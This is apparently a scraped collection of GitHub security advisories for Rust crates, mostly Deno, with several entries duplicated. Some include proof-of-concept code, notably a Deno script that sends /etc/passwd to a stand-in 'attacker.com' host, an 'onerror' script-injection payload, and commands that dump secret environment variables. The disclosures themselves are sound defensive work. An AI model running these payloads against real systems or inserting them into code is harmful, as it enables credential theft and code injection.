deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-9ghp-w2hm-vfpf
Package: wasmtime-jit-debug (RUST)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer
Vulnerable versions: < 24.0.0
Patched in: 24.0.0

Summary: wasmtime_jit_debug Dumps Undefined Memory by `JitDumpFile`

Details:
The unsound function `dump_code_load_record` uses `from_raw_parts` to directly convert the pointer `addr` and `len` into a slice without any validation and that memory block would be dumped.

Thus, the 'safe' function dump_code_load_record is actually 'unsafe' since it requires the caller to guarantee that the addr is valid and len must not overflow. Otherwise, the function could dump the memory into file illegally, causing memory leak.

> **Note**: this is an internal-only crate in the Wasmtime project not intended for external use and is more strongly signaled nowadays as of [bytecodealliance/wasmtime#10963](https://github.com/bytecodealliance/wasmtime/pull/10963). Please open an issue in Wasmtime if you're using this crate directly.
GitHub Security Advisory: GHSA-v33j-v3x4-42qg
Package: hurl (RUST)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: <= 6.1.1
Patched in: 7.0.0

Summary: Regex literal in Hurl files are not escaped when exported to HTML, allowing injections

Details:
Given this Hurl file:

regex.hurl:

```
GET https://foo.com
HTTP 200
[Asserts]
jsonpath "$.body" matches /<img src="" onerror="alert('Hi!')">/
```

When exported to HTML:

```
$ hurlfmt --out html regex.hurl
<pre><code class="language-hurl"><span class="hurl-entry"><span class="request"><span class="line"><span class="method">GET</span> <span class="url">https://foo.com</span></span>
</span><span class="response"><span class="line"><span class="version">HTTP</span> <span class="number">200</span></span>
<span class="line"><span class="section-header">[Asserts]</span></span>
<span class="line"><span class="query-type">jsonpath</span> <span class="string">"$.body"</span> <span class="predicate-type">matches</span> <span class="regex">/<img src="" onerror="alert('Hi!')">/</span></span>
</span></span><span class="line"></span>
</code></pre>
```

The regex literal `/<img src="" onerror="alert('Hi!')">/` is not escaped:

`<span class="regex">/<img src="" onerror="alert('Hi!')">/</span></span>`

When opened in a browser, the code is run without user interaction:

![regex](https://github.com/user-attachments/assets/9c20a2ff-900f-4420-b38b-1e[PII_REDACTED])
GitHub Security Advisory: GHSA-x958-rvg6-956w
Package: matrix-sdk-crypto (RUST)
Severity: MODERATE (CVSS 4.9)
CWE: CWE-290: Authentication Bypass by Spoofing
Vulnerable versions: >= 0.8.0, < 0.11.1
Patched in: 0.11.1

Summary: matrix-sdk-crypto vulnerable to sender of encrypted events being spoofed by homeserver administrator

Details:
### Summary

matrix-sdk-crypto since version 0.8.0 up to 0.11.0 does not correctly validate the sender of an encrypted event. Accordingly, a malicious homeserver operator can modify events served to clients, making those events appear to the recipient as if they were sent by another user.

Although the CVSS score is 4.9 (AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N), we consider this a High Severity security issue.

### Details

The Matrix specification [requires](https://spec.matrix.org/v1.14/client-server-api/#mmegolmv1aes-sha2) that clients ensure that "the event’s `sender`, `room_id`, and the recorded `session_id` match a trusted session". The vulnerable matrix-sdk-crypto versions check that the `room_id` matches that of the session denoted by `session_id`, but do not check the `sender`.

### Patches

The issue is resolved by [13c1d20](https://github.com/matrix-org/matrix-rust-sdk/commit/13c1d2048286bbabf5e7bc6b015aafee98f04d55), included in versions 0.11.1 and 0.12.0 of matrix-sdk-crypto.

### Workarounds

Since a successful attack requires administrator access to the homeserver, users who trust the administrators of their local homeserver are not affected.

### References

 * https://spec.matrix.org/v1.14/client-server-api/#mmegolmv1aes-sha2
GitHub Security Advisory: GHSA-jq8x-v7jw-v675
Package: users (RUST)
Severity: HIGH (CVSS 7.1)
CWE: CWE-266: Incorrect Privilege Assignment
Vulnerable versions: >= 0.8.0, <= 0.11.0
Patched in: unpatched

Summary: Duplicate Advisory: users may append `root` to group listings

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-m65q-v92h-cm7q. This link is maintained to preserve external references.

### Original Description
A flaw was found in the user's crate for Rust. This vulnerability allows privilege escalation via incorrect group listing when a user or process has fewer than exactly 1024 groups, leading to the erroneous inclusion of the root group in the access list.
GitHub Security Advisory: GHSA-jv4x-jv3h-qff5
Package: deno (RUST)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 2.0.0
Patched in: 2.0.0

Summary: Deno vulnerable to Exposure of Sensitive Information to an Unauthorized Actor

Details:
### Summary

Static imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.

### Details

Static imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with `deno run`:

1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.
2. When `--allow-write` and `--allow-read` permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.

### PoC

```ts
const __filename = new URL("", import.meta.url).pathname;
let oldContent = await Deno.readTextFile(__filename);
let passFile = await Deno.readTextFile("/etc/passwd");
let pre =
  'import {foo} from "[https://attacker.com?val=](https://attacker.com/?val=)' +
  encodeURIComponent(passFile) + '";\n';
await Deno.writeTextFile(__filename, pre + oldContent);
```

Executing a file containing this payload twice, with `deno run --allow-read --allow-write` would cause the password file to leak on the network, even though no network permission was granted.

This vulnerability was fixed with the addition of the `--allow-import` flag: https://docs.deno.com/runtime/fundamentals/security/#network-access
GitHub Security Advisory: GHSA-m65q-v92h-cm7q
Package: users (RUST)
Severity: HIGH (CVSS 7.1)
CWE: CWE-266: Incorrect Privilege Assignment
Vulnerable versions: >= 0.8.0, <= 0.11.0
Patched in: unpatched

Summary: users may append `root` to group listings

Details:
Affected versions append `root` to group listings, unless the correct listing has exactly 1024 groups.

This affects both:

- The supplementary groups of a user
- The group access list of the current process

If the caller uses this information for access control, this may lead to privilege escalation.

This crate is not currently maintained, so a patched version is not available.

Versions older than 0.8.0 do not contain the affected functions, so downgrading to them is a workaround.

## Recommended alternatives
- [`uzers`](https://crates.io/crates/uzers) (an actively maintained fork of the `users` crate)
- [`sysinfo`](https://crates.io/crates/sysinfo)
GitHub Security Advisory: GHSA-pr59-jjr4-gcf6
Package: anon-vec (RUST)
Severity: LOW (CVSS 0.0)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: <= 0.1.1
Patched in: unpatched

Summary: anon-vec lacks sufficient checks in public API

Details:
The following functions in the anon-vec crate are unsound due to insufficient checks on their arguments::

- `AnonVec::get_ref()`
- `AnonVec::get_mut()`
- `AnonVec::remove_get()`

The crate was built as a learning project and is not being maintained.
GitHub Security Advisory: GHSA-8vxj-4cph-c596
Package: deno_node (RUST)
Severity: MODERATE (CVSS 9.1)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 0.129.0, < 0.134.0
Patched in: 0.134.0

Summary: Deno has --allow-read / --allow-write permission bypass in `node:sqlite`

Details:
## Summary

It is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement.

## PoC

```js
// poc.js
import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
```

```
$ deno poc.js
```
GitHub Security Advisory: GHSA-8vxj-4cph-c596
Package: deno (RUST)
Severity: MODERATE (CVSS 9.1)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 2.2.0, < 2.2.5
Patched in: 2.2.5

Summary: Deno has --allow-read / --allow-write permission bypass in `node:sqlite`

Details:
## Summary

It is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement.

## PoC

```js
// poc.js
import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
```

```
$ deno poc.js
```
GitHub Security Advisory: GHSA-7w8p-chxq-2789
Package: deno_runtime (RUST)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-201: Insertion of Sensitive Information Into Sent Data
Vulnerable versions: < 0.212.0
Patched in: 0.212.0

Summary: Deno.env.toObject() ignores the variables listed in --deny-env and returns all environment variables

Details:
### Summary
The [Deno.env.toObject](https://docs.deno.com/api/deno/~/Deno.Env.toObject) method ignores any variables listed in the `--deny-env` option of the `deno run` command. When looking at the [documentation](https://docs.deno.com/runtime/fundamentals/security/#environment-variables) of the `--deny-env` option this might lead to a false impression that variables listed in the option are impossible to read.

### PoC

```
export AWS_SECRET_ACCESS_KEY=my-secret-aws-key

# Works as expected. The program stops with a "NotCapable" error message
echo 'console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));' | deno run \
  --allow-env \
  --deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -

# All enviroment variables are printed and the --deny-env list is completely disregarded
echo 'console.log(Deno.env.toObject());' | deno run \
  --allow-env \
  --deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -
```

The first example using `get` exits with the following error:
```
error: Uncaught (in promise) NotCapable: Requires env access to "AWS_SECRET_ACCESS_KEY", run again with the --allow-env flag
console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));
                     ^
    at Object.getEnv [as get] (ext:deno_os/30_os.js:124:10)
    at file:///$deno$stdin.mts:1:22
```

The second example  using `toObject` prints all environment variables:
```
[Object: null prototype] {
  ...
  AWS_SECRET_ACCESS_KEY: "my-secret-aws-key",
  ...
}
```

### Impact
Software relying on the combination of both flags to allow access to most environment variables except a few sensitive ones will be vulnerable to malicious code trying to steal secrets using the Deno.env.toObject() method.
GitHub Security Advisory: GHSA-7w8p-chxq-2789
Package: deno (RUST)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-201: Insertion of Sensitive Information Into Sent Data
Vulnerable versions: >= 2.2.0, < 2.2.13
Patched in: 2.2.13

Summary: Deno.env.toObject() ignores the variables listed in --deny-env and returns all environment variables

Details:
### Summary
The [Deno.env.toObject](https://docs.deno.com/api/deno/~/Deno.Env.toObject) method ignores any variables listed in the `--deny-env` option of the `deno run` command. When looking at the [documentation](https://docs.deno.com/runtime/fundamentals/security/#environment-variables) of the `--deny-env` option this might lead to a false impression that variables listed in the option are impossible to read.

### PoC

```
export AWS_SECRET_ACCESS_KEY=my-secret-aws-key

# Works as expected. The program stops with a "NotCapable" error message
echo 'console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));' | deno run \
  --allow-env \
  --deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -

# All enviroment variables are printed and the --deny-env list is completely disregarded
echo 'console.log(Deno.env.toObject());' | deno run \
  --allow-env \
  --deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -
```

The first example using `get` exits with the following error:
```
error: Uncaught (in promise) NotCapable: Requires env access to "AWS_SECRET_ACCESS_KEY", run again with the --allow-env flag
console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));
                     ^
    at Object.getEnv [as get] (ext:deno_os/30_os.js:124:10)
    at file:///$deno$stdin.mts:1:22
```

The second example  using `toObject` prints all environment variables:
```
[Object: null prototype] {
  ...
  AWS_SECRET_ACCESS_KEY: "my-secret-aws-key",
  ...
}
```

### Impact
Software relying on the combination of both flags to allow access to most environment variables except a few sensitive ones will be vulnerable to malicious code trying to steal secrets using the Deno.env.toObject() method.
GitHub Security Advisory: GHSA-7w8p-chxq-2789
Package: deno (RUST)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-201: Insertion of Sensitive Information Into Sent Data
Vulnerable versions: < 2.1.13
Patched in: 2.1.13

Summary: Deno.env.toObject() ignores the variables listed in --deny-env and returns all environment variables

Details:
### Summary
The [Deno.env.toObject](https://docs.deno.com/api/deno/~/Deno.Env.toObject) method ignores any variables listed in the `--deny-env` option of the `deno run` command. When looking at the [documentation](https://docs.deno.com/runtime/fundamentals/security/#environment-variables) of the `--deny-env` option this might lead to a false impression that variables listed in the option are impossible to read.

### PoC

```
export AWS_SECRET_ACCESS_KEY=my-secret-aws-key

# Works as expected. The program stops with a "NotCapable" error message
echo 'console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));' | deno run \
  --allow-env \
  --deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -

# All enviroment variables are printed and the --deny-env list is completely disregarded
echo 'console.log(Deno.env.toObject());' | deno run \
  --allow-env \
  --deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -
```

The first example using `get` exits with the following error:
```
error: Uncaught (in promise) NotCapable: Requires env access to "AWS_SECRET_ACCESS_KEY", run again with the --allow-env flag
console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));
                     ^
    at Object.getEnv [as get] (ext:deno_os/30_os.js:124:10)
    at file:///$deno$stdin.mts:1:22
```

The second example  using `toObject` prints all environment variables:
```
[Object: null prototype] {
  ...
  AWS_SECRET_ACCESS_KEY: "my-secret-aws-key",
  ...
}
```

### Impact
Software relying on the combination of both flags to allow access to most environment variables except a few sensitive ones will be vulnerable to malicious code trying to steal secrets using the Deno.env.toObject() method.
GitHub Security Advisory: GHSA-xqxc-x6p3-w683
Package: deno_runtime (RUST)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 0.150.0, < 0.212.0
Patched in: 0.212.0

Summary: Deno run with --allow-read and --deny-read flags results in allowed

Details:
### Summary

`deno run --allow-read --deny-read main.ts` results in allowed, even though 'deny' should be stronger. Same with all global unary permissions given as `--allow-* --deny-*`.

### Details

Caused by the fast exit logic in #22894.

### PoC

Run the above command expecting no permissions to be passed.

### Impact

This only affects a nonsensical combination of flags, so there shouldn't be a real impact on the userbase.
GitHub Security Advisory: GHSA-xqxc-x6p3-w683
Package: deno (RUST)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 2.3.0, < 2.3.2
Patched in: 2.3.2

Summary: Deno run with --allow-read and --deny-read flags results in allowed

Details:
### Summary

`deno run --allow-read --deny-read main.ts` results in allowed, even though 'deny' should be stronger. Same with all global unary permissions given as `--allow-* --deny-*`.

### Details

Caused by the fast exit logic in #22894.

### PoC

Run the above command expecting no permissions to be passed.

### Impact

This only affects a nonsensical combination of flags, so there shouldn't be a real impact on the userbase.
GitHub Security Advisory: GHSA-xqxc-x6p3-w683
Package: deno (RUST)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 2.2.0, < 2.2.13
Patched in: 2.2.13

Summary: Deno run with --allow-read and --deny-read flags results in allowed

Details:
### Summary

`deno run --allow-read --deny-read main.ts` results in allowed, even though 'deny' should be stronger. Same with all global unary permissions given as `--allow-* --deny-*`.

### Details

Caused by the fast exit logic in #22894.

### PoC

Run the above command expecting no permissions to be passed.

### Impact

This only affects a nonsensical combination of flags, so there shouldn't be a real impact on the userbase.
GitHub Security Advisory: GHSA-xqxc-x6p3-w683
Package: deno (RUST)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 1.41.3, < 2.1.13
Patched in: 2.1.13

Summary: Deno run with --allow-read and --deny-read flags results in allowed

Details:
### Summary

`deno run --allow-read --deny-read main.ts` results in allowed, even though 'deny' should be stronger. Same with all global unary permissions given as `--allow-* --deny-*`.

### Details

Caused by the fast exit logic in #22894.

### PoC

Run the above command expecting no permissions to be passed.

### Impact

This only affects a nonsensical combination of flags, so there shouldn't be a real impact on the userbase.
GitHub Security Advisory: GHSA-2x3r-hwv5-p32x
Package: deno_node (RUST)
Severity: HIGH (CVSS 0.0)
CWE: CWE-347: Improper Verification of Cryptographic Signature
Vulnerable versions: >= 0.102.0, < 0.125.0
Patched in: 0.125.0

Summary: Deno's AES GCM authentication tags are not verified

Details:
### Summary

This affects AES-256-GCM and AES-128-GCM in Deno, introduced by commit [0d1beed](https://github.com/denoland/deno/commit/0d1beed). Specifically, the authentication tag is not being validated. This means tampered ciphertexts or incorrect keys might not be detected, which breaks the guarantees expected from AES-GCM. Older versions of Deno correctly threw errors in such cases, as does Node.js.

Without authentication tag verification, AES-GCM degrades to essentially CTR mode, removing integrity protection. Authenticated data set with set_aad is also affected, as it is incorporated into the GCM hash (ghash) but this too is not validated, rendering AAD checks ineffective.

### PoC

```ts
import { Buffer } from "node:buffer";
import {
  createCipheriv,
  createDecipheriv,
  randomBytes,
  scrypt,
} from "node:crypto";

type Encrypted = {
  salt: string;
  iv: string;
  enc: string;
  authTag: string;
};

const deriveKey = (key: string, salt: Buffer) =>
  new Promise<Buffer>((res, rej) =>
    scrypt(key, salt, 32, (err, k) => {
      if (err) rej(err);
      else res(k);
    })
  );

async function encrypt(text: string, key: string): Promise<Encrypted> {
  const salt = randomBytes(32);
  const k = await deriveKey(key, salt);

  const iv = randomBytes(16);
  const enc = createCipheriv("aes-256-gcm", k, iv);
  const ciphertext = enc.update(text, "binary", "binary") + enc.final("binary");

  return {
    salt: salt.toString("binary"),
    iv: iv.toString("binary"),
    enc: ciphertext,
    authTag: enc.getAuthTag().toString("binary"),
  };
}

async function decrypt(enc: Encrypted, key: string) {
  const k = await deriveKey(key, Buffer.from(enc.salt, "binary"));
  const dec = createDecipheriv("aes-256-gcm", k, Buffer.from(enc.iv, "binary"));

  const out = dec.update(enc.enc, "binary", "binary");
  dec.setAuthTag(Buffer.from(enc.authTag, "binary"));
  return out + dec.final("binary");
}

const test = await encrypt("abcdefghi", "key");
test.enc = "";
console.log(await decrypt(test, "")); // no error
```

### Impact

While discovered through experimentation, authentication failures that should raise errors may be silently ignored.
GitHub Security Advisory: GHSA-2x3r-hwv5-p32x
Package: deno (RUST)
Severity: HIGH (CVSS 0.0)
CWE: CWE-347: Improper Verification of Cryptographic Signature
Vulnerable versions: >= 1.46.0, < 2.1.7
Patched in: 2.1.7

Summary: Deno's AES GCM authentication tags are not verified

Details:
### Summary

This affects AES-256-GCM and AES-128-GCM in Deno, introduced by commit [0d1beed](https://github.com/denoland/deno/commit/0d1beed). Specifically, the authentication tag is not being validated. This means tampered ciphertexts or incorrect keys might not be detected, which breaks the guarantees expected from AES-GCM. Older versions of Deno correctly threw errors in such cases, as does Node.js.

Without authentication tag verification, AES-GCM degrades to essentially CTR mode, removing integrity protection. Authenticated data set with set_aad is also affected, as it is incorporated into the GCM hash (ghash) but this too is not validated, rendering AAD checks ineffective.

### PoC

```ts
import { Buffer } from "node:buffer";
import {
  createCipheriv,
  createDecipheriv,
  randomBytes,
  scrypt,
} from "node:crypto";

type Encrypted = {
  salt: string;
  iv: string;
  enc: string;
  authTag: string;
};

const deriveKey = (key: string, salt: Buffer) =>
  new Promise<Buffer>((res, rej) =>
    scrypt(key, salt, 32, (err, k) => {
      if (err) rej(err);
      else res(k);
    })
  );

async function encrypt(text: string, key: string): Promise<Encrypted> {
  const salt = randomBytes(32);
  const k = await deriveKey(key, salt);

  const iv = randomBytes(16);
  const enc = createCipheriv("aes-256-gcm", k, iv);
  const ciphertext = enc.update(text, "binary", "binary") + enc.final("binary");

  return {
    salt: salt.toString("binary"),
    iv: iv.toString("binary"),
    enc: ciphertext,
    authTag: enc.getAuthTag().toString("binary"),
  };
}

async function decrypt(enc: Encrypted, key: string) {
  const k = await deriveKey(key, Buffer.from(enc.salt, "binary"));
  const dec = createDecipheriv("aes-256-gcm", k, Buffer.from(enc.iv, "binary"));

  const out = dec.update(enc.enc, "binary", "binary");
  dec.setAuthTag(Buffer.from(enc.authTag, "binary"));
  return out + dec.final("binary");
}

const test = await encrypt("abcdefghi", "key");
test.enc = "";
console.log(await decrypt(test, "")); // no error
```

### Impact

While discovered through experimentation, authentication failures that should raise errors may be silently ignored.
GitHub Security Advisory: GHSA-wv8j-m3hx-924j
Package: arrow2 (RUST)
Severity: HIGH (CVSS 0.0)
CWE: CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer
Vulnerable versions: <= 0.18.0
Patched in: unpatched

Summary: Arrow2 allows out of bounds access in public safe API

Details:
`Rows::row_unchecked()` allows out of bounds access to the underlying buffer without sufficient checks.

The arrow2 crate is no longer maintained, so there are no plans to fix this issue. Users are advised to migrate to the arrow crate, instead.
GitHub Security Advisory: GHSA-cm3g-qm4h-xm6m
Package: scsir (RUST)
Severity: LOW (CVSS 2.9)
CWE: CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')
Vulnerable versions: <= 0.2.0
Patched in: unpatched

Summary: SCSIR has a Potential Unsound Issue in WriteSameCommand

Details:
In group_number in the scsir crate 0.2.0 for Rust, there can be an overflow because a hardware device may expect a small number of bits (e.g., 5 bits) for group number.